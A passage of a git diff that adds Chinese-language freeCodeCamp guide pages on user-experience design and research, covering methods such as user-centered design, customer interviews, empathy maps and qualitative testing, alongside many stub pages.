+*   系统与现实世界的匹配
+*   用户控制和自由
+*   一致性和标准
+*   防止错误
+*   承认而不是回忆
+*   灵活性和使用效率
+*   美学和简约的设计
+
+1.  自动化专家评审
+
+与专家评论类似，自动化专家评审提供可用性测试，但通过使用程序给出良好设计和启发式规则。虽然自动审核可能无法提供与人们的评论一样多的细节和洞察力，但它们可以更快速，更一致地完成。为可用性测试创建代理用户的想法是人工智能社区的雄心勃勃的方向。
+
+*   帮助用户识别，诊断和从错误中恢复
+*   帮助和文档
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/user-centered-design/index.md b/client/src/guide/chinese/user-experience-design/user-centered-design/index.md
new file mode 100644
index 0000000000..35b90d6d4a
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/user-centered-design/index.md
@@ -0,0 +1,27 @@
+---
+title: User-Centered Design
+localeTitle: 以用户为中心的设计
+---
+## 以用户为中心的设计
+
+以用户为中心的设计（UCD）是一系列流程，专注于将用户置于产品设计和开发的中心。 UCD是一个 迭代设计方法，旨在通过调查（例如，调查和调查）的混合来开发对用户需求的理解 采访）和生成（例如，头脑风暴）方法和工具。至关重要的是，UCD在所有设计和评估阶段都涉及用户。 设计师检查产品的可用性，特性，环境和任务，并广泛关注设计过程的所有步骤。
+
+UCD的主要目标是围绕用户使用产品的方式优化产品，服务或流程，而不是强迫用户确认或 改变他们的行为以适应产品。
+
+### UCD进程的阶段
+
+1.  指定使用环境：确定将使用该产品的人员，他们将使用该产品的人员以及他们将在何种条件下使用该产品。
+2.  指定要求：确定产品成功必须满足的任何业务要​​求或用户目标。
+3.  创建设计解决方案：这个过程的一部分可以分阶段完成，从粗略的概念到完整的设计。
+4.  评估设计：理想情况下，通过实际用户的可用性测试进行评估，与质量测试一样，是良好的软件开发
+
+### 以用户为中心的设计与以人为本的设计
+
+以用户为中心的设计通常与以人为本的设计互换使用，但前者实际上是后者的一个子集。以用户为中心的设计不仅关注于任何特定的人类用户，而且关注特定类型的用户。因此，以用户为中心的设计需要更深入地分析用户 - 您的目标受众。它不仅关乎一个人的一般特征;它是针对目标用户的特定习惯和偏好，为特定问题提出正确的解决方案。
+
+以用户为中心的设计考虑了年龄，性别，社会地位，教育和专业背景，影响因素，产品使用期望和需求以及许多其他重要因素，这些因素可能因不同的细分市场而异。以用户为中心的设计是对用户的深入研究。习惯，从他们与产品的互动，到他们对产品应该如何和表现的看法。
+
+#### 更多信息：
+
+*   [以用户为中心的设计：简介](https://usabilitygeek.com/user-centered-design-introduction/) - 可用性极客
+*   [以用户为中心的设计的好处](https://www.usability.gov/what-and-why/benefits-of-ucd.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/user-flow/index.md b/client/src/guide/chinese/user-experience-design/user-flow/index.md
new file mode 100644
index 0000000000..f3f190b4a9
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/user-flow/index.md
@@ -0,0 +1,11 @@
+---
+title: User Flow
+localeTitle: 用户流程
+---
+## 用户流程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/user-flow/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/user-research/index.md b/client/src/guide/chinese/user-experience-design/user-research/index.md
new file mode 100644
index 0000000000..c039ae5113
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/user-research/index.md
@@ -0,0 +1,53 @@
+---
+title: User Research
+localeTitle: 用户研究
+---
+## 用户研究
+
+用户体验研究方法非常适合于生成数据和见解，而正在进行的活动有助于完成正确的事情。除了研发，持续的用户体验活动可以使每个人的努力更有效，更有价值。在设计过程的每个阶段，不同的用户体验方法都可以使产品开发工作保持正确的轨道，符合真正的用户需求而非虚构的需求。
+
+#### 20 UX方法简介
+
+以下是上图中显示的用户研究方法的简短描述：
+
+_可用性 - 实验室研究：_参与者被带入实验室，与研究人员一对一，并给出一组场景，这些场景导致在产品或服务中的特定兴趣的任务和使用。
+
+_民族志领域研究：_研究人员在自然环境中与参与者会面并对他们进行研究，他们很可能会遇到相关产品或服务。
+
+_参与式设计：_参与者被赋予设计元素或创意材料，以便以具体的方式构建他们理想的体验，表达对他们最重要的事情和原因。 焦点小组：由3-12名参与者组成的小组通过讨论一系列主题，通过讨论和练习提供口头和书面反馈。
+
+_访谈：_研究人员与参与者一对一地会面，深入讨论参与者对相关主题的看法。
+
+_Eyetracking：_ eyetracking设备配置为精确测量参与者在执行任务时的外观或与网站，应用程序，物理产品或环境自然交互。
+
+_可用性基准测试：_使用精确和预定的性能测量，与多个参与者一起进行严格的脚本化可用性研究。
+
+_适度远程可用性研究：_通过使用屏幕共享软件和远程控制功能等工具远程进行可用性研究。
+
+_未经验证的远程面板研究：_一组受过培训的参与者，他们在自己的个人设备上安装了视频录制和数据收集软件，在大声思考时使用网站或产品，记录他们的经验，以便研究人员或公司立即回放和分析。
+
+_概念测试：_研究人员共享产品或服务的近似值，以捕获新概念或产品的关键要素（价值主张），以确定其是否满足目标受众的需求;它可以一对一或与更多的参与者一起完成，无论是亲自还是在线。
+
+_日记/相机研究：为_参与者提供一种机制（日记或相机）来记录和描述与产品或服务相关的生活方面，或者仅仅是目标受众的核心;日记研究通常是纵向的，只能用于参与者容易记录的数据。
+
+_客户反馈：_由自选的用户样本提供的开放式和/或封闭式信息，通常通过反馈链接，按钮，表单或电子邮件。
+
+_可取性研究：为_参与者提供不同的视觉设计备选方案，并期望将每个备选方案与从封闭列表中选择的一组属性相关联;这些研究既可以是定性的，也可以是定量的。
+
+_卡片分类：_一种定量或定性方法，要求用户将项目组织成组并为每个组分配类别。此方法通过公开用户的心智模型来帮助创建或改进网站的信息体系结构。
+
+_点击流分析：_分析用户点击和查看的屏幕或页面的记录，因为他们使用网站或软件产品;它需要正确检测站点或启用遥测数据收集的应用程序。
+
+_A / B测试（也称为“多变量测试”，“实时测试”或“桶测试”）：_通过随机分配用户组以与每个不同设计进行交互来科学测试站点上的不同设计的方法衡量这些任务对用户行为的影响。
+
+_未经审核的用户体验研究：_一种定量或定性的自动化方法，使用专门的研究工具捕获参与者行为（通过安装在参与计算机/浏览器上的软件）和态度（通过嵌入式调查问题），通常通过为参与者提供目标或方案来完成网站或原型。
+
+_真实意义研究：_一种方法，向随机网站访问者询问他们进入网站时的目标或意图，衡量他们的后续行为，并询问他们是否在退出网站时成功实现了目标。
+
+_拦截调查：_在使用站点或应用程序期间触发的调查。
+
+_电子邮件调查：_一项调查，通过电子邮件招募参与者。
+
+#### 更多信息：
+
+[用户体验研究备忘单](https://www.nngroup.com/articles/ux-research-cheat-sheet/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/contextual-inquiries/index.md b/client/src/guide/chinese/user-experience-research/contextual-inquiries/index.md
new file mode 100644
index 0000000000..af999465ad
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/contextual-inquiries/index.md
@@ -0,0 +1,18 @@
+---
+title: Contextual Inquiries
+localeTitle: 上下文查询
+---
+## 上下文查询
+
+上下文查询是一种半结构化的访谈方法，用于获取有关使用环境的信息，用户首先被问到一组标准问题，然后在他们自己的环境中工作时观察和询问。
+
+由于用户在自己的环境中进行访谈，因此分析数据比实验室数据更加真实。上下文查询基于一组原则，允许它被塑造成不同的情况。此技术通常在设计过程开始时使用，有助于获取有关工作实践，社交，技术和物理环境以及用户工具的丰富信息。
+
+情境调查的四个原则是：
+
+*   重点 - 在明确了解您的目的的基础上制定调查计划
+*   背景 - 去客户的工作场所，看他们做自己的工作
+*   合作伙伴关系 - 与客户讨论他们的工作，并让他们发现工作中不明确的方面
+*   解释 - 与客户就重要工作的方面达成共识
+
+上下文查询的结果可用于定义需求，改进流程，了解对用户和客户重要的内容，以及了解有关新域的更多信息，以便为将来的项目提供信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/customer-empathy/index.md b/client/src/guide/chinese/user-experience-research/customer-empathy/index.md
new file mode 100644
index 0000000000..7167dc88bd
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: 客户同理心
+---
+## 客户同理心
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/customer-empathy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/customer-interviews/index.md b/client/src/guide/chinese/user-experience-research/customer-interviews/index.md
new file mode 100644
index 0000000000..13d134b7ed
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/customer-interviews/index.md
@@ -0,0 +1,34 @@
+---
+title: Customer Interviews
+localeTitle: 客户访谈
+---
+## 客户访谈
+
+建立人物角色有时涉及研究。这项研究可以采取客户访谈的形式。这是与现有或潜在用户的一对一互动。它用于获取有关产品用户的定性信息。
+
+它通常由两个人进行：一个人进行提问而另一个人做笔记。问题通常集中在：
+
+*   背景。
+*   人口统计数据。
+*   身份标识。
+*   目标。
+*   挑战。
+*   可能的解决方案。
+
+在承诺构建产品之前，了解您的构建对象非常重要。一旦您确定了产品的受众（您预期的客户是谁），您应该找到符合该标准的一组人员，并向他们提问。例如，如果您打算为新妈妈建立一个平台来为孩子安排游戏，那么您应该向一些妈妈询问他们需要从您的软件中获得什么。
+
+当您进行客户访谈时，重点关注您正在解决的问题，而不是您正在构建的技术。您希望与潜在客户进行公开对话，但要了解您希望从中获得哪些信息。询问您的潜在客户是否有任何您没有问过他们的问题，或者他们是否可以想到您应该与之交谈的其他人。
+
+当您联系某人参与客户面试时，请记住您还没有出售任何东西。尊重他们的时间;你可能只有10-20分钟。如果你可以补偿他们的时间，这是一个好主意。
+
+在设计您的问题时要小心，他们不会强制您要求的响应来验证您的假设。有时，问题的措辞可以使回应者给出他们通常不会认为给出的答案。在询问潜在客户的行为时，询问现在，而不是他们计划将来做什么。这样可以更准确，更不理想地了解客户与产品的互动方式。
+
+避免谈论你的产品。你不想投球：它尚未建成。您希望更多地了解用户面临的问题，以便您可以构建最佳解决方案。这也消除了对保密协议的需要。不要让潜在客户签一个。
+
+鼓励你的受访者告诉你故事。此时您正在寻找定性数据。当你去推销你的产品时，拥有这些故事也是有益的，因为这表明你对你正在解决的问题有了更多的了解。记下大量笔记，以便记住这些故事！
+
+#### 更多信息：
+
+*   [客户访谈的注意事项和注意事项](https://venturewell.org/customer-interviews/)
+*   [Zachary Cohn的客户访谈技巧演示](https://www.slideshare.net/ZacharyCohn/18-customer-interview-tips)
+*   “用户访谈 - 初学者指南”。 theUXreview，2017年10月25日，http：//theuxreview.co.uk/user-interviews-the-beginners-guide/。
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/customer-journey-maps/index.md b/client/src/guide/chinese/user-experience-research/customer-journey-maps/index.md
new file mode 100644
index 0000000000..ea166ecc79
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/customer-journey-maps/index.md
@@ -0,0 +1,29 @@
+---
+title: Customer Journey Maps
+localeTitle: 客户旅程地图
+---
+## 客户旅程地图
+
+### 什么是客户旅程地图？
+
+客户旅程映射是一种工具，用于整体绘制整个用户故事 - 从最初的联系，使用到放弃服务。
+
+### 它看起来怎样？
+
+客户旅程地图可以有多种形式，通常包括用户需求，感受，动机，接触点（例如电子邮件，客户服务电话线，各种设备等）的描述，交互以及负责解决方案的团队成员那些互动。
+
+![客户旅程地图示例](https://www.dragon1.com/images/customer-journey-mapping-2.png)
+
+### 如何创建一个？
+
+这种地图的构建始于用户的全面研究 - 定量和定性，然后将其映射到服务的预期结果。
+
+### 我们为什么需要它？
+
+它可以帮助团队构建或维护服务，应用程序或网站，以便在一个地方查看整个体验的背景。它还有助于识别过程的弱点和机会。创建此类映射的主要原因是要始终关注用户，而不是关注构建服务的技术，组织或其他方面。
+
+### 有关创建客户旅程地图的更多信息：
+
+*   [如何创建客户旅程地图](https://uxmastery.com/how-to-create-a-customer-journey-map/)
+*   [消歧 - 客户旅程映射](http://www.disambiguity.com/customer-journey-mapping/)
+*   [有关详情，请参阅此视频](https://youtu.be/mSxpVRo3BLg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/data-driven-design/index.md b/client/src/guide/chinese/user-experience-research/data-driven-design/index.md
new file mode 100644
index 0000000000..847ba69c07
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/data-driven-design/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Driven Design
+localeTitle: 数据驱动设计
+---
+## 数据驱动设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/data-driven-design/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[有关详情，请参阅此视频](https://youtu.be/N_kcRB8O3aI)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/defining-the-problem/index.md b/client/src/guide/chinese/user-experience-research/defining-the-problem/index.md
new file mode 100644
index 0000000000..031db804cf
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/defining-the-problem/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining the Problem
+localeTitle: 定义问题
+---
+## 定义问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/defining-the-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/diary-studies/index.md b/client/src/guide/chinese/user-experience-research/diary-studies/index.md
new file mode 100644
index 0000000000..83b56002d8
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/diary-studies/index.md
@@ -0,0 +1,13 @@
+---
+title: Diary Studies
+localeTitle: 日记研究
+---
+## 日记研究
+
+要真正了解目标用户群的需求，您必须观察它们。主要以用户遇到的麻烦，黑客用户使用或用户用户经常遇到的错误的形式进行的观察对于理解用户需求是至关重要的。通常，用户习惯性地遇到这些问题，他们没有意识到这是需要，因此观察是关键。但是，如果您想在难以观察的区域内解决需求，该怎么办？或者，如果您想收集大量观察结果并直接观察将会难以实施，该怎么办？如果任务不经常或偶尔完成或者由于任何原因难以观察，但您想观察它，您通常可以使用日记研究。
+
+在日记研究中，你给某人一本日记，表明他们在指定的时间或间隔完成。他们针对特定任务记录特定的数据，例如，他们在购物一段时间后的感受或他们吃晚饭时的感受。日记研究可以记录在各种媒介中。期刊，图片，音频和视频都是用户记录相关信息的有效方式。当然，请记住，最好的媒体是用户在任务的上下文中使用最方便的媒体。长途驾驶的人不应该在驾驶期间写字。相反，在这种情况下录音会更合适。相反，如果您希望有人在讲座中记录他们的想法，那么日记是一个更好的解决方案，因为在讲座的沉默期间讲话是不合适的。用户更容易为您记录数据，您将获得更好的结果。还要考虑用户可能忘记为您录制条目。如果你提供练习，并充分利用环境线索，这可以大大有助于你的学习。例如，如果您知道许多目标用户拥有智能手机，并且会在您要记录的环境中经常使用它们，比如公共汽车或地铁，请告诉他们如何在智能手机上记录数据。用户能够满足您的请求的低障碍意味着他们更有可能记住这样做，并且更有可能为您提供在项目中使用的良好数据。
+
+#### 更多信息：
+
+[寻找策略](https://www.youtube.com/watch?v=c-rUGDomtz4)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/empathy-maps/index.md b/client/src/guide/chinese/user-experience-research/empathy-maps/index.md
new file mode 100644
index 0000000000..d189d8a1c5
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/empathy-maps/index.md
@@ -0,0 +1,27 @@
+---
+title: Empathy Maps
+localeTitle: 移情地图
+---
+## 移情地图
+
+![同情地图的图表包括一个人脸在中心，被“Think＆Feel？”这些短语所包围。 “看到？” “说＆做？” “听？” “付出与收获”。](https://www.solutionsiq.com/images/Empathy-Map-No-Stickies.png)
+
+移情映射是用于预测界面用户的想法，情绪，需求和反应的工具。它们可以在设计过程开始时与用户体验研究中的用户角色一起使用，以确定用户面临的问题以及界面设计如何帮助解决这些问题。
+
+它是以用户为中心的设计的主要组成部分。用户需要什么和想要什么？用户和他或她的目标之间存在哪些挑战？在用户体验设计中，通过进行用户研究并将其用作指导设计决策的路线图来实现同理心。
+
+Empathy Maps与角色一样，是在设计过程的开始时完成的。它们用于综合用户研究，以创建逼真但虚构的用户表示。 Empathy Maps可以快速勾勒出来，虽然同理映射的内容可能会发生变化，但常见的内容区域包括：
+
+当研究人员在进行用户访谈后制作移情地图时，移情地图最有效移情映射会议受益于各种团队成员：利益相关者，客户支持主管，供应商，产品开发人员，销售人员和撰稿人。
+
+*   用户图像 - 由于移情地图通常可以快速完成，因此您可以在地图中心添加用户的小草图。
+*   思考 - 用户的动机，目标和愿望是什么？
+*   做 - 您的用户采取了什么行动？他们的行为是什么样的？
+*   说 - 他或她说什么？它与他们的行为有冲突吗？使用引号和关键字。
+*   感觉 - 你的用户有什么样的情绪？
+*   痛苦 - 您的用户面临任何问题吗？
+*   收益 - 您的用户希望获得哪些积极成果？
+
+移情地图可能略有不同，但这是您经常看到的格式。地图完成后，您可以使用它来识别用户的需求。
+
+![移情地图](https://user-images.githubusercontent.com/33093078/32018246-e8c2b0d6-b98e-11e7-8d00-1a8374c18fdd.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/feature-analysis/index.md b/client/src/guide/chinese/user-experience-research/feature-analysis/index.md
new file mode 100644
index 0000000000..8af4969240
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: 特征分析
+---
+## 特征分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/feature-matrix/index.md b/client/src/guide/chinese/user-experience-research/feature-matrix/index.md
new file mode 100644
index 0000000000..9594743e6b
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: 特征矩阵
+---
+## 特征矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/heuristic-review/index.md b/client/src/guide/chinese/user-experience-research/heuristic-review/index.md
new file mode 100644
index 0000000000..d521a356e4
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/heuristic-review/index.md
@@ -0,0 +1,11 @@
+---
+title: Heuristic Review
+localeTitle: 启发式评论
+---
+## 启发式评论
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/heuristic-review/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/hypotheses-and-validating-assumptions/index.md b/client/src/guide/chinese/user-experience-research/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..550774d53a
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: 假设和验证假设
+---
+## 假设和验证假设
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/hypotheses-and-validating-assumptions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/index.md b/client/src/guide/chinese/user-experience-research/index.md
new file mode 100644
index 0000000000..2d9face547
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/index.md
@@ -0,0 +1,9 @@
+---
+title: User Experience Research
+localeTitle: 用户体验研究
+---
+## 用户体验研究
+
+用户体验研究是一个通过观察技术，任务分析和其他反馈方法来关注用户行为，需求，意图，期望和动机的领域。
+
+在本节中，我们将提供各种用户体验研究概念的指南。
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/landing-page-testing/index.md b/client/src/guide/chinese/user-experience-research/landing-page-testing/index.md
new file mode 100644
index 0000000000..0f1f7db987
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/landing-page-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Landing Page Testing
+localeTitle: 登陆页面测试
+---
+## 登陆页面测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/landing-page-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/qualitative-testing/index.md b/client/src/guide/chinese/user-experience-research/qualitative-testing/index.md
new file mode 100644
index 0000000000..fd7f4b320d
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/qualitative-testing/index.md
@@ -0,0 +1,63 @@
+---
+title: Qualitative Testing
+localeTitle: 定性测试
+---
+## 定性测试
+
+定性测试 - 可以采取采访或其他直接观察的可用性测试的形式（可以是面对面或通过视频会议工具，如Skype或谷歌环聊） - 是探索性的，目标是获得更多 - 深入了解用户的体验。定性测试旨在收集有关用户或团体日常生活经历和动机的信息，以了解这些细节如何影响他们对产品或工具的使用。
+
+### 结果
+
+当使用定性研究方法时，研究人员必须认识到它们可能对研究结果产生影响。由于正在研究的是人类体验而不是硬数据（点击次数，登录位置趋势等），因此在测试期间或评估结果时难以保持完全客观。结果也不一定是可重复的。这是因为影响用户体验的因素是多种多样的，并且可能每天都在变化。由于生活中的新事件或当天承担更多责任，用户具有彼此完全不同的生活经历，影响用户心情的恶劣天气以及其他任何因素，这些因素可以采取用户在某一天比另一天更加紧张的形式。这会影响一个人的个人或情感生活。
+
+定性测试的结果通常显示为主题或类别而不是数字。 1
+
+### 例
+
+以下是[交互设计基金会](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)关于定量研究与定性研究之间差异的一个很好的例子：
+
+> 为了说明差异，假设您想要研究用户组的锻炼习惯。您可以选择使用定量或定性研究方法来研究这些。 **如果您使用_定量_方法** ，您可以创建在线调查并将其分发给大量参与者。参与者必须回答有关其锻炼习惯的预定义问题，例如“您每周锻炼多少小时？”。如果您尽职尽责地进行工作，则可以在不偏离您自己的观点或个人锻炼经验的情况下对调查答案进行数字总结。
+> 
+> **如果您使用_定性_方法** ，您可以选择与有限数量的参与者进行面谈，在那里您可以与参与者讨论他们锻炼的时间，地点和方式。因为面试与谈话相似，所以你的结果将取决于你如何向参与者的答案提出后续问题 - 你如何做到这一点在某种程度上取决于你的个性和你自己的锻炼经验。同样，访谈的结果在某种程度上也取决于对参与者告诉你的内容的主观解释。
+
+### 测试方法
+
+来自Kevin Dalvi的“ [12用户体验研究技术（定量和定性）](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) ”：
+
+1.  **访谈 -**通常包括三种类型的访谈：
+
+*   a） **定向访谈** ，研究人员向用户询问具体问题，并尝试将响应与其他用户进行比较
+*   b） **非定向访谈** ，研究人员试图与用户进行更多的一般性讨论
+*   c） **民族志访谈** ，研究人员在自己的环境中观察用户，了解他们如何处理某些方面，完成某些任务。
+
+1.  **调查和调查问卷** - 是从大量用户收集信息的快速方法，但其明显的局限性是研究人员与用户之间缺乏任何互动。
+    
+2.  **可用性测试** - 要求用户使用应用程序/产品来实现某些目标。这些测试有三种变体：
+    
+
+*   a） **适度测试** - 用户进入实验室并给予特定任务或测试以执行。
+*   b） **未经测试的测试** - 用户通常远程完成测试。
+*   c） **游击测试** - 一种更随意的测试形式，要求社交或社区位置的随机用户使用应用程序/产品并提供非正式反馈。
+
+1.  **卡片排序** - 卡片排序测试的主要目标是了解用户如何感知各种内容，类别和其他信息之间的关系和层次结构。这通常用于生成适当的信息体系结构或站点地图。
+    
+2.  **树测试 -**与卡片排序类似，主要目标是测试产品/应用程序是否在产品中设计了适当级别的信息层次结构。
+    
+3.  **A / B测试 -**着重于为用户提供两个或更多选项，并在选项中记录用户的偏好。此外，还有针对产品特定方面的高级或重点A / B测试测试，例如设计元素，信息层次，导航等。
+    
+4.  **角色发展** - ......它本质上是一组用户的代表，无论年龄，性别，地点，教育和职业如何，在使用该应用程序的行为方面都表现出非常相似的模式。
+    
+
+### 来源
+
+1.  [Mortensen，Ditte。 “定性用户研究的最佳实践。” _交互设计基础。_ 2018年1月访问：2018年2月13日。](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)
+
+### 资源
+
+“用户[体验设计中的定性研究方法](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) ”作者：Markus Heberlein（SlideShare演示文稿，在UX Tokyo Talk 2014上展示）
+
+“ [12个用户体验研究技术（量化定性定性）](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) ”作者：Kevin Dalvi
+
+[UX Booth的](http://www.uxbooth.com/) “ [完整初学者用户体验研究指南](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) ”
+
+“用户[体验设计研究中的一个速成课程](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) ”，作者： [UX集体公司的](https://uxdesign.cc/) Matt Lavoie
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/quantitative-testing/index.md b/client/src/guide/chinese/user-experience-research/quantitative-testing/index.md
new file mode 100644
index 0000000000..cbdf50039b
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/quantitative-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Quantitative Testing
+localeTitle: 定量测试
+---
+## 定量测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/quantitative-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/storyboards/index.md b/client/src/guide/chinese/user-experience-research/storyboards/index.md
new file mode 100644
index 0000000000..d7623bccd7
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/storyboards/index.md
@@ -0,0 +1,18 @@
+---
+title: Storyboards
+localeTitle: 故事板
+---
+## 故事板
+
+故事板用于绘制用户使用产品或软件旅行的可视图片。
+
+故事板包括使用视觉图像来创建故事。这比普通文本创造了更持久的印象。
+
+作为最佳实践，它是项目预期功能的第一个草图（例如网站，应用程序，服务等）。它的目的是帮助规划项目的需求，并概述完成任务所需的必要步骤（工作流程）。例如，身份验证网页的草图列出（在任何代码之前），用户需要什么类型的数据，在后端执行哪些操作，以及操作的预期输出是什么。
+
+在尝试开发或解释体验时，故事板是一种很棒的技巧。故事板不需要艺术技巧，而是在解释中强调叙事的视觉和创作。与漫画书非常相似，故事板可以拍摄故事的个人图像（很像快照）。然后将这些图像按照特定顺序放置，产生顺序艺术作品，其中观看者的大脑形成图像之间的连接以产生叙述。在制作故事板时，您可以批判性地反映您选择讲述故事的“快照”，以更好地回顾作者对故事的立场和观点。故事板可用于多种领域，包括编码，因为它可以在使用软件时对功能和用户体验进行全面统一的理解。故事板的主要好处之一是故事的使用比列出事实更具吸引力并且可以增加观众记忆，因此故事板在制作演示时可以是很好的工具。
+
+#### 更多信息：
+
+*   要了解有关故事板的更多信息，请访问此[链接](https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab?gi=84d3b1dc4704)
+*   [维基百科](https://en.wikipedia.org/wiki/Storyboard)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/testing-assumptions/index.md b/client/src/guide/chinese/user-experience-research/testing-assumptions/index.md
new file mode 100644
index 0000000000..17badd1105
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/testing-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing Assumptions
+localeTitle: 测试假设
+---
+## 测试假设
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/testing-assumptions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-research/understanding-competitors/index.md b/client/src/guide/chinese/user-experience-research/understanding-competitors/index.md
new file mode 100644
index 0000000000..fd07b3bb13
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-research/understanding-competitors/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Competitors
+localeTitle: 了解竞争对手
+---
+## 了解竞争对手
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/understanding-competitors/index.md) 。
+
